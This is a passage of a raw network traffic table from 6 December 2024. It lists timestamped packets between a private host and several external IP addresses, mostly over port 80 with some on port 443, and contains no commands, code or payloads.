Dec 6, 2024 18:45:47.210042000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210056067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210062027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.210069895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210082054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210089922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.210094929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210103989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.210110903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210124016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210131884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.210156918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.210942030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210954905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210968018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210979939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210993052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.210993052 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211000919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211011887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211021900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211025953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211040020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211054087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211056948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211066008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211081028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211083889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211093903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211101055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211108923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211119890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211128950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211134911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211148977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211155891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211170912 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211194992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211894035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211906910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211939096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211951971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211961031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.211965084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211977959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.211990118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212003946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212013006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212023020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212030888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212045908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212620020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212635040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212647915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212662935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212681055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212723017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212762117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212774992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212795973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212811947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212821007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212835073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212847948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212861061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212881088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212902069 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.212904930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.212934971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.213587999 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.213656902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.213694096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.213707924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.213746071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217489004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217502117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217513084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217525005 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217538118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217542887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217550039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217564106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217576027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217581987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217587948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217595100 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217601061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217611074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217614889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217628002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217633963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217643023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217655897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.217659950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217675924 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.217700958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218219995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218233109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218262911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218283892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218374014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218388081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218399048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218416929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218421936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218430042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218442917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218455076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218456030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218468904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218472004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218482971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218493938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218496084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218508959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218517065 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218523026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218530893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218537092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218552113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.218554974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218576908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.218599081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219130993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219145060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219172001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219192982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219228029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219242096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219254017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219265938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219278097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219280005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219290972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219304085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219322920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219340086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219341993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219357014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219368935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219381094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219387054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219399929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219403982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219419956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219423056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219424963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219429016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219444036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.219456911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.219484091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.220174074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220186949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220200062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220222950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.220225096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220237970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220247984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.220252037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220258951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220271111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.220280886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220285892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.220288992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220290899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220299959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220307112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.220315933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.220343113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.243721008 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.243747950 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.243841887 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.244926929 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.244966030 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.245019913 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.245839119 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.245867014 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.246032000 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.246042967 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.246099949 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.246110916 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.249238014 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.249250889 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.249321938 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.249332905 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.250106096 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.250118017 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.251523018 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:47.251535892 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:47.259905100 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.260345936 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.260376930 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.260844946 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.260852098 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.261424065 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.261951923 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.261965036 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.262387991 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.262392998 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.268806934 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.269308090 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.269342899 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.269846916 CET	49808	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.269853115 CET	443	49808	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.301731110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.310329914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.310381889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.421828985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.695763111 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.695837975 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.695898056 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.697613001 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.697679043 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.697726965 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.700567007 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.700592041 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.700607061 CET	49806	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.700613976 CET	443	49806	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.701498032 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.701507092 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.701519012 CET	49807	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.701524973 CET	443	49807	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.711885929 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.718138933 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.723918915 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.723967075 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.724024057 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.724929094 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.724946022 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.725927114 CET	49809	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.725931883 CET	443	49809	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.726903915 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.726923943 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.727472067 CET	49810	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.727478981 CET	443	49810	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.729094982 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.729119062 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.729182959 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.729698896 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.729711056 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.731005907 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:47.731020927 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:47.767486095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.767560959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.767780066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.767791033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.767810106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.767822981 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.767839909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.768847942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.768888950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.768923044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.768959999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.769998074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.770016909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.770034075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.770056009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.771020889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.771059036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.771245003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.771280050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.772100925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.772136927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.772222996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.772259951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.773197889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.773233891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.773622036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.773658037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.774301052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.774336100 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.774373055 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.774410963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.775424004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.775473118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.775648117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.775687933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.776338100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.776380062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.776446104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.776505947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.777442932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.777479887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.777569056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.777606010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.778511047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.778548956 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.778640032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.778675079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.779619932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.779655933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.779902935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.779936075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.780668020 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.780705929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.780719042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.780751944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.781804085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.781836033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.782218933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.782253981 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.782921076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.782933950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.782955885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.782970905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.784009933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.784048080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.784179926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.784215927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.784960985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.784998894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.785851955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.785891056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.786060095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.786096096 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.786266088 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.786302090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.787151098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.787190914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.787350893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.787390947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.788186073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.788228989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.788466930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.788502932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.789290905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.789331913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.789880037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.789916039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.790335894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.790374041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.790642977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.790680885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.791392088 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.791428089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.791812897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.791850090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.792520046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:47.792557955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:47.793467999 CET	80	49796	185.215.113.206	192.168.2.6
